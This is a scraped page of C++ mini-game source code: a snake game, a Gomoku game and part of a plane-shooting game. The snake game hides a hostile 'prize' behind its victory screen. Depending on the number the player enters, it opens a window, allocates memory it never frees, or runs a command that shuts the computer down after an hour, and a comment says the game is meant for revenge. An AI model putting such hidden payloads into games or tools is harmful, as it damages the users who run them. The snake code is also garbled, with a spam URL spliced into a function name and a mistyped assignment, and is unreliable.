精华内容
下载资源
问答
  • C++RPG小游戏代码

    2018-04-16 23:01:25
    C++RPG小游戏代码
  • c++小游戏编程代码

    2009-12-06 10:06:02
    代码设计了关于3个小游戏的程序,是用c++作的。
  • 在VC++6.0的环境下,用C++语言利用了EZwin编写的原创射击类小游戏代码简单,适合初学者了解如何在屏幕上显示图片,加入音乐等问题。
  • C++游戏编程

    2018-10-21 22:36:23
    已更新的原创C++编程游戏,好玩带感的游戏。全部代码可复制!!!
  • 升级打怪小游戏代码

    2019-03-04 14:10:07
    升级打怪小游戏C++代码
  • 2048小游戏C++程序代码

    2015-11-18 10:27:03
    2048小游戏c++程序,可供C++初学者学习、玩味。
  • 利用c++实现俄罗斯方块的编写,内部编写逻辑简明。有利于初学者快速了解以及熟悉C++编程方法。
  • 但较之原版,该游戏由C/C++编写PC运行,由字符界面实现游戏画面。原版一辆坦克的子弹未消失之前不能发射第二颗。导致子弹打击远处CD长,近处CD短。该游戏每个子弹都有相同CD,子弹未消失只要CD达到即可发射第二颗,...
  • 最近整理资源,突然发现当年学习时写的小游戏,自己写的坦克小游戏
  • c++游戏编程代码

    万次阅读 2019-09-25 03:24:09
    //贪吃蛇大战HuangZhen #include<iostream> #include<windows.h> #include<conio.h>//kbhit();getch() #include<ctime>//随机种子 #include<cstdlib>//随机种子 #include&l...

    //贪吃蛇大战HuangZhen
      
      #include<iostream>
      
      #include<windows.h>
      
      #include<conio.h>//kbhit();getch()
      
      #include<ctime>//随机种子
      
      #include<cstdlib>//随机种子
      
      #include<malloc.h>//malloc()
      
      #define W 75//宽width74
      
      #define E 20//长ength19
      
      #define L 50//蛇最长长度long50
      
      #define FL 9//食物长度
      
      using namespace std;
      
      class TCS
      
      {
      
      private:
      
      int l;//蛇的长度
      
      int F;//蛇的方向
      
      int Score;
      
      int Time;//刷新的次数
      
      int Speed;
      
      int Appear;//1则为出现食物,0则否
      
      //食物的坐标
      
      int x;
      
      int y;
      
      //蛇的坐标
      
      int a[L],b[L];
      
      //界面(包括蛇)
      
      char S[W][E];
      
      public:
      
      TCS(int LL=2);
      
      void SetTCS(int* m,int* n);//设置开始时的蛇
      
      int Getl(){return l;}
      
      int GetTime(){return Time;}
      
      int GetSpeed(){return Speed;}
      
      void Print();//输出
      
      void GetF();//得到输入的方向
      
      void MoveU();//上移
      
      void MoveD();
      
      void MoveL();
      
      void MoveR();
      
      void Move1();//蛇身的移动
      
      void Move();//蛇的移动
      
      bool IfDead();//蛇是否死亡
      
      bool TCSAdd();//蛇加长
      
      void FoodAppear();//食物出现
      
      void Food();//设置食物
      
      void Setxy();//设置食物坐标
      
      };
      
      TCS::TCS(int LL)
      
      {
      
      l=LL;
      
      F=77;
      
      Score=0;
      
      Time=0;
      
      Speed=3;
      
      Appear=0;
      
      }
      
      void TCS::SetTCShttp://zzdxjyzd.com(int* m,int* n)
      
      {
      
      for(int i=0;i<L;i++)//L-l=蛇尾的xy坐标
      
      {
      
      a[i]=*(m+i);
      
      b[i]=*(n+i);
      
      }
      
      for(int h=0;h<E;h++)
      
      {
      
      for(int g=0;g<W;g++)
      
      {
      
      S[g][h]=' ';
      
      }
      
      }
      
      }
      
      void TCS::Print()
      
      {
      
      int g,h;
      
      for(h=0;h<E;h++)
      
      {
      
      for(g=0;g<W;g++)
      
      {
      
      S[g][h]=' ';
      
      }
      
      }
      
      while(h!=-1){S[W-1][h]='|';h--;}//边界
      
      while(g!=-1){S[g][E-1]='~';g--;}//边界
      
      //食物出现
      
      FoodAppear();
      
      //对S[][]赋值
      
      for(g=L-l;g<L-1;g++)
      
      S[a[g]][b[g]]='*';//蛇身
      
      S[a[L-1]][b[L-1]]='#';//蛇头
      
      system("cls");//清屏幕
      
      for(int y=0;y<E;y++)//输出
      
      {
      
      for(int x=0;x<W;x++)
      
      {
      
      cout<<S[x][y];
      
      }
      
      cout<<endl;
      
      }
      
      cout<<"得分:"<<Score<<'\t'<<"速度:"<<Speed<<"级"<<endl;
      
      }
      
      void TCS::GetF()
      
      {
      
      if(kbhit())
      
      {
      
      getch();//方向键要用两个getch()
      
      F=getch();
      
      }
      
      }
      
      void TCS::MoveU()
      
      {
      
      Move1();
      
      b[L-1]--;
      
      }
      
      void TCS::MoveD()
      
      {
      
      Move1();
      
      b[L-1]++;
      
      }
      
      void TCS::MoveL()
      
      {
      
      Move1();
      
      a[L-1]--;
      
      }
      
      void TCS::MoveR()
      
      {
      
      Move1();
      
      a[L-1]++;
      
      }
      
      void TCS::Move1()//蛇身的移动
      
      {
      
      a[L-l-1]=a[L-l];
      
      a[L-l-1]=b[L-l];//为了TCSAdd();记录蛇尾的上一步
      
      for(int i=L-l;i<L-1;i++)
      
      {
      
      a[i]=a[i+1];
      
      b[i]=b[i+1];
      
      }
      
      }
      
      void TCS::Move()
      
      {
      
      switch(F)
      
      {
      
      case 72://上
      
      if(b[L-1]>b[L-2])//判断不能向上移动的情况
      
      MoveD();//继续向下
      
      else
      
      MoveU();//蛇头移动
      
      break;
      
      case 80://下
      
      if(b[L-1]<b[L-2])
      
      MoveU();//继续向上
      
      else
      
      MoveD();
      
      break;
      
      case 75://左
      
      if(a[L-1]>a[L-2])
      
      MoveR();//继续向右
      
      else
      
      MoveL();
      
      break;
      
      case 77://右
      
      if(a[L-1]<a[L-2])
      
      MoveL();//继续向左
      
      else
      
      MoveR();
      
      break;
      
      default:
      
      break;
      
      }
      
      }
      
      bool TCS::IfDead()
      
      {
      
      if(a[L-1]<0 || a[L-1]>=W-1 || b[L-1]<0 || b[L-1]>=E-1)
      
      return true;
      
      else if(S[a[L-1]][b[L-1]]=='|'|| S[a[L-1]][b[L-1]]=='~' || S[a[L-1]][b[L-1]]=='*')
      
      return true;
      
      else
      
      return false;
      
      }
      
      bool TCS::TCSAdd()
      
      {
      
      if(S[a[L-1]][b[L-1]]!=' ')//因为第一次T.Print()蛇不死=先判断是否死了再到TCS();所以能用!=' '
      
      {
      
      l++;
      
      a[L-l]=a[L-l+1];//将蛇尾的上一步赋给新加的蛇尾
      
      b[L-l]=b[L-l+1];
      
      Score++;
      
      if(Score%Speed==0 && Speed!=1)
      
      Speed--;
      
      return true;
      
      }
      
      else
      
      return false;
      
      }
      
      void TCS::FoodAppear()
      
      {
      
      Time++;
      
      if(Time==Speed*10)//吃完后出现食物需要的时间
      
      {
      
      Setxy();
      
      for(int Q=0;Q<FL;Q++)
      
      {
      
      if(S[x+Q][y]!=' ')
      
      {
      
      Setxy();
      
      Q=0;
      
      }
      
      }
      
      Appear=1;
      
      }
      
      if(Appear==1 && Time<=(Speed*1000))//Speed*1000-Speed*10停留时间
      
      {
      
      Food();
      
      }
      
      if(TCSAdd())
      
      {
      
      S[x][y]=' ';
      
      Time=0;
      
      Appear=0;
      
      }
      
      }
      
      void TCS::Food()//如想修改食物,请统计食物有字符数然后将FL的值修改
      
      {
      
      S[x][y]='H';
      
      S[x+1][y]='u';
      
      S[x+2][y]='a';
      
      S[x+3][y]='n';
      
      S[x+4][y]='g';
      
      S[x+5][y]='Z';
      
      S[x+6][y]='h';
      
      S[x+7][y]='e';
      
      S[x+8][y]='n';
      
      }
      
      void TCS::Setxy()
      
      {
      
      srand(time(0));
      
      x=rand()%(W-1-FL);//huangZhen9个字符
      
      y=rand()%(E-1);//食物的随机坐标
      
      }
      
      int main()
      
      {
      
      TCS T(10);//输入初始长度
      
      int x[L]={0},y[L]={0};
      
      for(int i=0;i<T.Getl();i++)
      
      x[L-T.Getl()+i]=i;
      
      T.SetTCS(x,y);
      
      while(1)
      
      {
      
      T.Print();//对蛇赋值
      
      T.GetF();
      
      if(T.GetTime()%T.GetSpeed()==0)
      
      {
      
      T.Move();
      
      if(T.IfDead())//S[a[L-1]][b[L-1]]!=' '&& S[a[L-1]][b[L-1]]!='$'
      
      {
      
      cout<<"你玩完了!";
      
      break;
      
      }
      
      }
      
      if(T.Getl()==L)
      
      {
      
      cout<<"Victory!食物已经被吃光!"<<endl;
      
      Z:
      
      cout<<"你有一次抽奖的机会:(请输入你心中理想的数字0~9)"<<endl;
      
      cin>>x[0];
      
      if(x[0]>=0 && x[0]<=3)
      
      {
      
      for(int P=0;P<1;P++)//可更改1
      
      system("start");//弹框
      
      }
      
      else if(x[0]>=4 && x[0]<=6)
      
      {
      
      for(int Q=0;Q<1;Q++)//可更改1
      
      int *p=(int *)malloc(100);//malloc n.内存分配;卡内存;可更改100
      
      }
      
      else if(x[0]>=7 && x[0]<=9)
      
      system("shutdown -s -t 3600");//-s是关机,-t是秒;3600秒后关机;//可更改3600
      
      else
      
      goto Z;
      
      break;
      
      }//此游戏用于报复对HuangZhen不满足的人^_^
      
      }
      
      return 0;
      
      }

    转载于:https://www.cnblogs.com/dakunqq/p/11350817.html

    展开全文
  • c++实现推箱子小游戏

    2019-03-26 17:08:50
    c++实现推箱子,
  • c++代码小游戏

    千次阅读 2020-08-30 15:34:05
    这是我的第二个小游戏,很简单,不,应该是特别简单。 猜猜这是什么游戏?对了,就是猜数字。 是不是很简单 #include<iostream> #include<cstdlib> #include<ctime> #include<windows.h>...

    这是我的第二个小游戏,很简单,不,应该是特别简单。
    猜猜这是什么游戏?对了,就是猜数字。
    这是我的第一篇
    在这里插入图片描述

    是不是很简单

    #include<iostream>
    #include<cstdlib>
    #include<ctime>
    #include<windows.h>
    using namespace std;
    int main(){
    	srand(time(0));
    	int n=rand()%1000;
    	int c=-1,ans=0;
    	cout<<"你要猜的数字为:***"<<endl<<endl; 
    	while(c!=n){
    		cout<<"你猜的数是:";
    		cin>>c;
    		ans++;
    		if(c>n){
    			Sleep(500); 
    			cout<<"大了!"<<endl<<endl; 
    		} else if(c<n){
    			Sleep(500);
    			cout<<"小了!"<<endl<<endl;
    		}
    	}
    	cout<<"恭喜猜中!!!"<<endl<<"共用了"<<ans<<"次!!!"<<endl; 
    	system("pause");
    	return 0;
    }
    
    
    

    我的洛谷团队:https://www.luogu.com.cn/team/34776#main

    展开全文
  • 使用vs编译的二维小游戏,里面有很多小游戏和网站模板,比如超级玛丽、坦克大战、推箱子、别踩白块、贪吃蛇、种地浇水、盒子接球、连连看、军棋、五子棋、火车订票系统、图书馆借阅、涂格子游戏、火柴人游戏、大丰收...
  • C++语言自己写的俄罗斯方块小游戏,需要用编写C++的工具运行后才能玩,主要是想练习自己编写C++代码的能力,跟大家一起分享。
  • 这个是上游戏编程专选课时做的一个扫雷游戏的程序,希望对大家学习C++&游戏编程有所帮助!谢谢分享!
  • C++编写的小游戏代码

    千次阅读 2020-11-20 08:19:15
    五子棋的代码: #include #include #include #include using namespace std; const int N=15; //15*15的棋盘 const char ChessBoardflag = ’ '; //棋盘标志 const char flag1=‘o’; //玩家1或电脑的棋子标志 const...

    五子棋的代码:
    #include
    #include
    #include
    #include
    using namespace std;
    const int N=15; //15*15的棋盘
    const char ChessBoardflag = ’ '; //棋盘标志
    const char flag1=‘o’; //玩家1或电脑的棋子标志
    const char flag2=‘X’; //玩家2的棋子标志
    typedef struct Coordinate //坐标类
    {
    int x; //代表行
    int y; //代表列
    }Coordinate;
    class GoBang //五子棋类
    {
    public:
    GoBang() //初始化
    {
    InitChessBoard();
    }
    void Play() //下棋
    {
    Coordinate Pos1; // 玩家1或电脑
    Coordinate Pos2; //玩家2
    int n = 0;
    while (1)
    {
    int mode = ChoiceMode();
    while (1)
    {
    if (mode == 1) //电脑vs玩家
    {
    ComputerChess(Pos1,flag1); // 电脑下棋
    if (GetVictory(Pos1, 0, flag1) == 1) //0表示电脑,真表示获胜
    break;
    PlayChess(Pos2, 2, flag2); //玩家2下棋
    if (GetVictory(Pos2, 2, flag2)) //2表示玩家2
    break;
    }
    else //玩家1vs玩家2
    {
    PlayChess(Pos1, 1, flag1); // 玩家1下棋
    if (GetVictory(Pos1, 1, flag1)) //1表示玩家1
    break;
    PlayChess(Pos2, 2, flag2); //玩家2下棋
    if (GetVictory(Pos2, 2, flag2)) //2表示玩家2
    break;
    }
    }
    cout << “再来一局” << endl;
    cout << “y or n :”;
    char c = ‘y’;
    cin >> c;
    if (c == ‘n’)
    break;
    }
    }
    protected:
    int ChoiceMode() //选择模式
    {
    int i = 0;
    system(“cls”); //系统调用,清屏
    InitChessBoard(); //重新初始化棋盘
    cout << “0、退出 1、电脑vs玩家 2、玩家vs玩家” << endl;
    while (1)
    {
    cout << “请选择:”;
    cin >> i;
    if (i == 0) //选择0退出
    exit(1);
    if (i == 1 || i == 2)
    return i;
    cout << “输入不合法” << endl;
    }
    }
    void InitChessBoard() //初始化棋盘
    {
    for (int i = 0; i < N + 1; ++i)
    {
    for (int j = 0; j < N + 1; ++j)
    {
    _ChessBoard[i][j] = ChessBoardflag;
    }
    }
    }
    void PrintChessBoard() //打印棋盘,这个函数可以自己调整
    {
    system(“cls”); //系统调用,清空屏幕
    for (int i = 0; i < N+1; ++i)
    {
    for (int j = 0; j < N+1; ++j)
    {
    if (i == 0) //打印列数字
    {
    if (j!=0)
    printf("%d “, j);
    else
    printf(” “);
    }
    else if (j == 0) //打印行数字
    printf(”%2d “, i);
    else
    {
    if (i < N+1)
    {
    printf(”%c |",_ChessBoard[i][j]);
    }
    }
    }
    cout << endl;
    cout << " “;
    for (int m = 0; m < N; m++)
    {
    printf(”–|");
    }
    cout << endl;
    }
    }
    void PlayChess(Coordinate& pos, int player, int flag) //玩家下棋
    {
    PrintChessBoard(); //打印棋盘
    while (1)
    {
    printf(“玩家%d输入坐标:”, player);
    cin >> pos.x >> pos.y;
    if (JudgeValue(pos) == 1) //坐标合法
    break;
    cout << “坐标不合法,重新输入” << endl;
    }
    _ChessBoard[pos.x][pos.y] = flag;
    }
    void ComputerChess(Coordinate& pos, char flag) //电脑下棋
    {
    PrintChessBoard(); //打印棋盘
    int x = 0;
    int y = 0;
    while (1)
    {
    x = (rand() % N) + 1; //产生1~N的随机数
    srand((unsigned int) time(NULL));
    y = (rand() % N) + 1; //产生1~N的随机数
    srand((unsigned int) time(NULL));
    if (_ChessBoard[x][y] == ChessBoardflag) //如果这个位置是空的,也就是没有棋子
    break;
    }
    pos.x = x;
    pos.y = y;
    _ChessBoard[pos.x][pos.y] = flag;
    }
    int JudgeValue(const Coordinate& pos) //判断输入坐标是不是合法
    {
    if (pos.x > 0 && pos.x <= N&&pos.y > 0 && pos.y <= N)
    {
    if (_ChessBoard[pos.x][pos.y] == ChessBoardflag)
    {
    return 1; //合法
    }
    }
    return 0; //非法
    }
    int JudgeVictory(Coordinate pos, char flag) //判断有没有人胜负(底层判断)
    {
    int begin = 0;
    int end = 0;
    int begin1 = 0;
    int end1 = 0;
    //判断行是否满足条件
    (pos.y - 4) > 0 ? begin = (pos.y - 4) : begin = 1;
    (pos.y + 4) >N ? end = N : end = (pos.y + 4);
    for (int i = pos.x, j = begin; j + 4 <= end; j++)
    {
    if (_ChessBoard[i][j] == flag&&_ChessBoard[i][j + 1] == flag&&
    _ChessBoard[i][j + 2] == flag&&_ChessBoard[i][j + 3] == flag&&
    _ChessBoard[i][j + 4] == flag)
    return 1;
    }
    //判断列是否满足条件
    (pos.x - 4) > 0 ? begin = (pos.x - 4) : begin = 1;
    (pos.x + 4) > N ? end = N : end = (pos.x + 4);
    for (int j = pos.y, i = begin; i + 4 <= end; i++)
    {
    if (_ChessBoard[i][j] == flag&&_ChessBoard[i + 1][j] == flag&&
    _ChessBoard[i + 2][j] == flag&&_ChessBoard[i + 3][j] == flag&&
    _ChessBoard[i + 4][j] == flag)
    return 1;
    }
    int len = 0;
    //判断主对角线是否满足条件
    pos.x > pos.y ? len = pos.y - 1 : len = pos.x - 1;
    if (len > 4)
    len = 4;
    begin = pos.x - len; //横坐标的起始位置
    begin1 = pos.y - len; //纵坐标的起始位置
    pos.x > pos.y ? len = (N - pos.x) : len = (N - pos.y);
    if (len>4)
    len = 4;
    end = pos.x + len; //横坐标的结束位置
    end1 = pos.y + len; //纵坐标的结束位置
    for (int i = begin, j = begin1; (i + 4 <= end) && (j + 4 <= end1); ++i, ++j)
    {
    if (_ChessBoard[i][j] == flag&&_ChessBoard[i + 1][j + 1] == flag&&
    _ChessBoard[i + 2][j + 2] == flag&&_ChessBoard[i + 3][j + 3] == flag&&
    _ChessBoard[i + 4][j + 4] == flag)
    return 1;
    }
    //判断副对角线是否满足条件
    (pos.x - 1) >(N - pos.y) ? len = (N - pos.y) : len = pos.x - 1;
    if (len > 4)
    len = 4;
    begin = pos.x - len; //横坐标的起始位置
    begin1 = pos.y + len; //纵坐标的起始位置
    (N - pos.x) > (pos.y - 1) ? len = (pos.y - 1) : len = (N - pos.x);
    if (len>4)
    len = 4;
    end = pos.x + len; //横坐标的结束位置
    end1 = pos.y - len; //纵坐标的结束位置
    for (int i = begin, j = begin1; (i + 4 <= end) && (j - 4 >= end1); ++i, --j)
    {
    if (_ChessBoard[i][j] == flag&&_ChessBoard[i + 1][j - 1] == flag&&
    _ChessBoard[i + 2][j - 2] == flag&&_ChessBoard[i + 3][j - 3] == flag&&
    _ChessBoard[i + 4][j - 4] == flag)
    return 1;
    }
    for (int i = 1; i < N + 1; ++i) //棋盘有没有下满
    {
    for (int j =1; j < N + 1; ++j)
    {
    if (_ChessBoard[i][j] == ChessBoardflag)
    return 0; //0表示棋盘没满
    }
    }
    return -1; //和棋
    }
    bool GetVictory(Coordinate& pos, int player, int flag) //对JudgeVictory的一层封装,得到具体那个玩家获胜
    {
    int n = JudgeVictory(pos, flag); //判断有没有人获胜
    if (n != 0) //有人获胜,0表示没有人获胜
    {
    PrintChessBoard();
    if (n == 1) //有玩家赢棋
    {
    if (player == 0) //0表示电脑获胜,1表示玩家1,2表示玩家2
    printf(“电脑获胜\n”);
    else
    printf(“恭喜玩家%d获胜\n”, player);
    }
    else
    printf(“双方和棋\n”);
    return true; //已经有人获胜
    }
    return false; //没有人获胜
    }
    private:
    char _ChessBoard[N+1][N+1];
    };

    搜狗问问

    扩展资料:
    设计思路

    1、进行问题分析与设计,计划实现的功能为,开局选择人机或双人对战,确定之后比赛开始。
    2、比赛结束后初始化棋盘,询问是否继续比赛或退出,后续可加入复盘、悔棋等功能。
    3、整个过程中,涉及到了棋子和棋盘两种对象,同时要加上人机对弈时的AI对象,即涉及到三个对象。

    展开全文
  • 主要为大家详细介绍了C++实现简单射击小游戏,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
  • 蛇碰到墙游戏结束,改变蛇的速度,用上下左右四个键控制蛇的转向来吃食物(两种不同的花),点击结束时显示成绩及排名情况
  • C++实现的经典小游戏代码 包含有扫雷 贪吃蛇 推箱子 俄罗斯方块 拼图 连连看等 vc6.0通过
  • 这是我第一次上传文件,希望大家可以点进来看看,这个代码是我一个朋友给我的
  • 这是vs2010编写的贪吃蛇小游戏,下载后可以直接打开运行。利用了c++的可视化编程,这里的贪吃蛇有自己的特色,利用随机函数变化五颜六色的变化。
  • C++实现打飞机小游戏(源代码

    万次阅读 多人点赞 2020-02-11 16:43:18
    你们要的打飞机 还想让我做什么☺☺☺ ...代码如下 ☟ ☟ ☟ #include<iostream> #include<windows.h> #include<conio.h> #include<time.h> #include<string> using namespace...

    你们要的打飞机
    还想让我做什么☺☺☺
    >求关注,求点赞,求评论<
    Thanks♪(・ω・)ノ
    代码如下 ☟ ☟ ☟

    #include<iostream>
    #include<windows.h>
    #include<conio.h>
    #include<time.h>
    #include<string>
    using namespace std;
     
    /*=============== all the structures ===============*/
     
    typedef struct Frame
    {
    	COORD position[2];
    	int flag;
    }Frame;
     
     
    /*=============== all the functions ===============*/
     
    void SetPos(COORD a)// set cursor 
    {
    	HANDLE out=GetStdHandle(STD_OUTPUT_HANDLE);
    	SetConsoleCursorPosition(out, a);
    }
     
    void SetPos(int i, int j)// set cursor
    {
    	COORD pos={i, j};
    	SetPos(pos);
    }
     
    void HideCursor()
    {
    	CONSOLE_CURSOR_INFO cursor_info = {1, 0}; 
    	SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
    }
     
    //把第y行,[x1, x2) 之间的坐标填充为 ch
    void drawRow(int y, int x1, int x2, char ch)
    {
    	SetPos(x1,y);
    	for(int i = 0; i <= (x2-x1); i++)
    		cout<<ch;
    }
     
    //在a, b 纵坐标相同的前提下,把坐标 [a, b] 之间填充为 ch
    void drawRow(COORD a, COORD b, char ch)
    {
    	if(a.Y == b.Y)
    		drawRow(a.Y, a.X, b.X, ch);
    	else
    	{
    		SetPos(0, 25);
    		cout<<"error code 01:无法填充行,因为两个坐标的纵坐标(x)不相等";
    		system("pause");
    	}
    }
     
    //把第x列,[y1, y2] 之间的坐标填充为 ch
    void drawCol(int x, int y1, int y2, char ch)
    {
    	int y=y1;
    	while(y!=y2+1)
    	{
    		SetPos(x, y);
    		cout<<ch;
    		y++;
    	}
    }
     
    //在a, b 横坐标相同的前提下,把坐标 [a, b] 之间填充为 ch
    void drawCol(COORD a, COORD b, char ch)
    {
    	if(a.X == b.X)
    		drawCol(a.X, a.Y, b.Y, ch);
    	else
    	{
    		SetPos(0, 25);
    		cout<<"error code 02:无法填充列,因为两个坐标的横坐标(y)不相等";
    		system("pause");
    	}
    }
     
    //左上角坐标、右下角坐标、用row填充行、用col填充列
    void drawFrame(COORD a, COORD  b, char row, char col)
    {
    	drawRow(a.Y, a.X+1, b.X-1, row);
    	drawRow(b.Y, a.X+1, b.X-1, row);
    	drawCol(a.X, a.Y+1, b.Y-1, col);
    	drawCol(b.X, a.Y+1, b.Y-1, col);
    }
     
    void drawFrame(int x1, int y1, int x2, int y2, char row, char col)
    {
    	COORD a={x1, y1};
    	COORD b={x2, y2};
    	drawFrame(a, b, row, col);
    }
     
    void drawFrame(Frame frame, char row, char col)
    {
    	COORD a = frame.position[0];
    	COORD b = frame.position[1];
    	drawFrame(a, b, row, col);
    }
     
    void drawPlaying()
    {
    	drawFrame(0, 0, 48, 24, '=', '|');//	draw map frame;
    	drawFrame(49, 0, 79, 4, '-', '|');//		draw output frame
    	drawFrame(49, 4, 79, 9, '-', '|');//		draw score frame
    	drawFrame(49, 9, 79, 20, '-', '|');//	draw operate frame
    	drawFrame(49, 20, 79, 24, '-', '|');//	draw other message frame
    	SetPos(52, 6);
    	cout<<"得分:";
    	SetPos(52, 7);
    	cout<<"称号:";
    	SetPos(52,10);
    	cout<<"操作方式:";
    	SetPos(52,12);
    	cout<<"  a,s,d,w 控制战机移动。";
    	SetPos(52,14);
    	cout<<"  p 暂停游戏。";
    	SetPos(52,16);
    	cout<<"  e 退出游戏。";
    }
     
    //在[a, b)之间产生一个随机整数
    int random(int a, int b)
    {
    	int c=(rand() % (a-b))+ a;
    	return c;
    }
     
    //在两个坐标包括的矩形框内随机产生一个坐标
    COORD random(COORD a, COORD b)
    {
    	int x=random(a.X, b.X);
    	int y=random(a.Y, b.Y);
    	COORD c={x, y};
    	return c;
    }
     
    bool  judgeCoordInFrame(Frame frame, COORD spot)
    {
    	if(spot.X>=frame.position[0].X)
    		if(spot.X<=frame.position[1].X)
    			if(spot.Y>=frame.position[0].Y)
    				if(spot.Y<=frame.position[0].Y)
    					return true;
    	return false;
    }
     
    void printCoord(COORD a)
    {
    	cout	<<"( "<<a.X<<" , "<<a.Y<<" )";
    }
     
    void printFrameCoord(Frame a)
    {
    	printCoord(a.position[0]);
    	cout	<<" - ";
    	printCoord(a.position[1]);
    }
     
    int drawMenu()
    {
    	SetPos(30, 1);
    	cout<<"P l a n e  W a r";
    	drawRow(3, 0, 79, '-');
    	drawRow(5, 0, 79, '-');
    	SetPos(28, 4);
    	cout<<"w 和 s 选择, k 确定";
    	SetPos(15, 11);
    	cout<<"1. 简单的敌人";
    	SetPos(15, 13);
    	cout<<"2. 冷酷的敌人";
    	drawRow(20, 0, 79, '-');
    	drawRow(22, 0, 79, '-');
    	SetPos(47, 11);
    	cout<<"简单的敌人:";
    	SetPos(51, 13);
    	cout<<"简单敌人有着较慢的移动速度。";
    	SetPos(24, 21);
    	cout<<"制作:<bits/stdc++.h>";
    	int j=11;
    	SetPos(12, j);
    	cout<<">>";
     
    	//drawFrame(45, 9, 79, 17, '=', '|');
     
    	while(1)
    	{	if( _kbhit() )
    		{	
    			char x=_getch();
    			switch (x)
    			{
    			case 'w' :
    					{	
    						if( j == 13)
    						{
    							SetPos(12, j);
    							cout<<" ";
    							j = 11;
    							SetPos(12, j);
    							cout<<">>";
    							SetPos(51, 13);
    							cout<<"            ";
    							SetPos(47, 11);
    							cout<<"简单的敌人:";
    							SetPos(51, 13);
    							cout<<"简单敌人有较慢的移动速度,比较容易对付";
    						}
    						break;
    					}
    			case 's' :
    					{	
    						if( j == 11 )
    						{
    							SetPos(12, j);
    							cout<<" ";		
    							j = 13;
    							SetPos(12, j);
    							cout<<">>";
    							SetPos(51, 13);
    							cout<<"              ";
    							SetPos(47, 11);
    							cout<<"冷酷的敌人:";
    							SetPos(51, 13);
    							cout<<"冷酷的敌人移动速度较快,不是很好对付哟。";
    						}
    						break;
    					}
    			case 'k' :
    					{	
    						if (j == 8)	return 1;
    						else return 2;
    					}
    			}
    		}
    	}
    }
     
    /* 
    DWORD WINAPI MusicFun(LPVOID lpParamte)
    {
    	//DWORD OBJ;
    	sndPlaySound(TEXT("bgm.wav"), SND_FILENAME|SND_ASYNC);
    	return 0;
    }
    */
     
     
    /*================== the Game Class ==================*/
     
    class Game
    {
    public:
    	COORD position[10];
    	COORD bullet[10];
    	Frame enemy[8];
    	int score;
    	int rank;
    	int rankf;
    	string title;
    	int flag_rank;
     
    	Game ();
    	
    	//初始化所有
    	void initPlane();
    	void initBullet();
    	void initEnemy();
     
    	//初始化其中一个
    	//void initThisBullet( COORD );
    	//void initThisEnemy( Frame );
     
    	void planeMove(char);
    	void bulletMove();
    	void enemyMove();
    	
    	//填充所有
    	void drawPlane();
    	void drawPlaneToNull();
    	void drawBullet();
    	void drawBulletToNull();
    	void drawEnemy();
    	void drawEnemyToNull();
     
    	//填充其中一个
    	void drawThisBulletToNull( COORD );
    	void drawThisEnemyToNull( Frame );
     
    	void Pause();
    	void Playing();
    	void judgePlane();
    	void judgeEnemy();
     
    	void Shoot();
     
    	void GameOver();
    	void printScore();
    };
     
    Game::Game()
    {
    	initPlane();
    	initBullet();
    	initEnemy();
    	score = 0;
    	rank = 25;
    	rankf = 0;
    	flag_rank = 0;
    }
     
    void Game::initPlane()
    {
    	COORD centren={39, 22};
    	position[0].X=position[5].X=position[7].X=position[9].X=centren.X;
    	position[1].X=centren.X-2;	
    	position[2].X=position[6].X=centren.X-1;
    	position[3].X=position[8].X=centren.X+1;
    	position[4].X=centren.X+2;
    	for(int i=0; i<=4; i++)
    		position[i].Y=centren.Y;
    	for(int i=6; i<=8; i++)
    		position[i].Y=centren.Y+1;
    	position[5].Y=centren.Y-1;
    	position[9].Y=centren.Y-2;
    }
     
    void Game::drawPlane()
    {
    	for(int i=0; i<9; i++)
    	{
    		SetPos(position[i]);
    		if(i!=5)
    			cout<<"O";
    		else if(i==5)
    			cout<<"|";		
    	}
    }
     
    void Game::drawPlaneToNull()
    {
    	for(int i=0; i<9; i++)
    	{
    		SetPos(position[i]);
    		cout<<" ";
    	}	
    }
     
    void Game::initBullet()
    {
    	for(int i=0; i<10; i++)
    		bullet[i].Y = 30;
    }
     
    void Game::drawBullet()
    {
    	for(int i=0; i<10; i++)
    	{
    		if( bullet[i].Y != 30)
    		{
    			SetPos(bullet[i]);
    			cout<<"^";	
    		}
    	}
    }
     
    void Game::drawBulletToNull()
    {
    	for(int i=0; i<10; i++)
    		if( bullet[i].Y != 30 )
    			{
    				COORD pos={bullet[i].X, bullet[i].Y+1};
    				SetPos(pos);
    				cout<<" ";
    			}	
    }
     
    void Game::initEnemy()
    {
    	COORD a={1, 1};
    	COORD b={45, 15};
    	for(int i=0; i<8; i++)
    	{
    		enemy[i].position[0] = random(a, b);
    		enemy[i].position[1].X = enemy[i].position[0].X + 3;
    		enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
    	}
    }
     
    void Game::drawEnemy()
    {
    	for(int i=0; i<8; i++)
    		drawFrame(enemy[i].position[0], enemy[i].position[1], '-', '|');
    }
     
    void Game::drawEnemyToNull()
    {
    	for(int i=0; i<8; i++)
    	{
    		drawFrame(enemy[i].position[0], enemy[i].position[1], ' ', ' ');
    	}		
    }
     
    void Game::Pause()
    {
    	SetPos(61,2);
    	cout<<"               ";
    	SetPos(61,2);
    	cout<<"暂停中...";
    	char c=_getch();
    	while(c!='p')
    		c=_getch();
    	SetPos(61,2);
    	cout<<"         ";
    }
     
    void Game::planeMove(char x)
    {
    	if(x == 'a')
    		if(position[1].X != 1)
    			for(int i=0; i<=9; i++)
    				position[i].X -= 2;
    				
    	if(x == 's')
    		if(position[7].Y != 23)
    			for(int i=0; i<=9; i++)
    				position[i].Y += 1;
     
    	if(x == 'd')
    		if(position[4].X != 47)
    			for(int i=0; i<=9; i++)
    				position[i].X += 2;
     
    	if(x == 'w')
    		if(position[5].Y != 3)
    			for(int i=0; i<=9; i++)
    				position[i].Y -= 1;
    }
     
    void Game::bulletMove()
    {
    	for(int i=0; i<10; i++)
    	{
    		if( bullet[i].Y != 30)
    		{
    			bullet[i].Y -= 1;
    			if( bullet[i].Y == 1 )
    			{
    				COORD pos={bullet[i].X, bullet[i].Y+1};
    				drawThisBulletToNull( pos );
    				bullet[i].Y=30;
    			}
    				
    		}
    	}
    }
     
    void Game::enemyMove()
    {
    	for(int i=0; i<8; i++)
    	{
    		for(int j=0; j<2; j++)
    			enemy[i].position[j].Y++;
     
    		if(24 == enemy[i].position[1].Y)
    		{
    			COORD a={1, 1};
    			COORD b={45, 3};
    			enemy[i].position[0] = random(a, b);
    			enemy[i].position[1].X = enemy[i].position[0].X + 3;
    			enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
    		}
    	}
    }
